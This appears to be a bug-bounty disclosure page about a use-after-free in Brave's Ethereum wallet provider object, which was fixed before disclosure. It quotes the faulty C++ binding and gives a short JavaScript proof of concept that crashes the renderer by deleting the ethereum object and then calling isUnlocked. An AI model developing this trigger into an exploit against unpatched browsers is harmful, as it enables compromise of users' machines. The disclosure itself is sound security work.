UAF on JSEthereumProvider
The Ethereum wallet provider object installed into every page exposed a function bound to a raw pointer to the provider, so a page could keep a reference to a sub-object, delete the main object, and call the function on freed memory. The author shows a proof of concept that crashes the renderer process and states an intent to pursue code execution.
- Triaged in 2 hours
- Fixed in 26 hours
- Paid in 26 hours
- Disclosed after 5 months
There is a UAF (Use After Free) vulnerability in the renderer implementation of the Ethereum wallet.
When the Ethereum wallet is connected, every V8 render gets this piece of code installed, creating a new object ethereum accessible from V8. You can find the code here: https://github.com/brave/brave-core/blob/45c6649a124dd8d0ffb19ca6f7047bebb6e6da2c/components/brave_wallet/renderer/js_ethereum_provider.cc#L163-L164
I will highlight some parts of the JSEthereumProvider::Install function that show the bug:
// 1. Create a new handle to JSEthereumProvider and convert it to a v8::Object
gin::Handle<JSEthereumProvider> provider =
gin::CreateHandle(isolate, new JSEthereumProvider(render_frame));
if (provider.IsEmpty()) {
return;
}
v8::Local<v8::Value> provider_value = provider.ToV8();
v8::Local<v8::Object> provider_object =
provider_value->ToObject(context).ToLocalChecked();
// 2. Create a v8::Proxy for the provider
if (!v8::Proxy::New(context, provider_object, ethereum_proxy_handler_obj)
.ToLocal(ðereum_proxy)) {
// Error handling
}
// 3. Expose it through window.ethereum
global
->Set(context, gin::StringToSymbol(isolate, kEthereum), ethereum_proxy)
.Check();
// 4. Create a new v8::Object and make it accessible through ethereum._metamask
v8::Local<v8::Object> metamask_obj = v8::Object::New(isolate);
provider_object
->Set(context, gin::StringToSymbol(isolate, kMetaMask), metamask_obj)
.Check();
// 5. [BUG] Set a new property called `IsUnlocked`, creating a new callback object bound to `base::Unretained(provider.get())`, making the wrong assumption that ethereum._metamask can never outlive ethereum
provider_object
->Set(context, gin::StringToSymbol(isolate, kIsUnlocked),
gin::CreateFunctionTemplate(
isolate, base::BindRepeating(&JSEthereumProvider::IsUnlocked,
base::Unretained(provider.get())))
->GetFunction(context)
.ToLocalChecked())
.Check();
The bug can be triggered through JavaScript with the following steps:
- Get a reference to ethereum._metamask.
- Delete the ethereum object, which deletes provider.get().
- Call isUnlocked(), which will point to the deleted provider.get() pointer.
Here is a PoC (Proof of Concept) that can crash the renderer process:
function triggerGC() {
for (let i = 0; i < 100; i++) {
let a = new Array(1000000);
}
}
let uafObj = ethereum._metamask;
delete ethereum;
triggerGC();
console.log(await uafObj.isUnlocked());
Will try to follow up with a full exploit to show code execution on the renderer process.
Impact
Get code execution on the renderer process.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The callback was bound with base::Unretained to the provider pointer, assuming the sub-object could never outlive the provider, so no lifetime was tracked.
Impact
The proof of concept crashes the renderer process, and the author says a full exploit for code execution may follow, but no code execution is demonstrated in the text.
What the attacker needed
Ethereum wallet connected
How it was found
- Save a reference to the ethereum._metamask sub-object.
- Delete the ethereum object so the underlying provider is destroyed.
- Force garbage collection to reclaim the freed memory.
- Call isUnlocked() on the saved sub-object, which uses the dangling pointer.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program creates an object, it usually keeps it alive as long as something still refers to it. Here a small helper object (the wallet's _metamask part) held a function that pointed straight at the main wallet object without keeping it alive. A web page could save the helper, delete the main object so its memory is freed, then call the function, which reads memory that no longer belongs to it. That kind of mistake is called a use-after-free.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.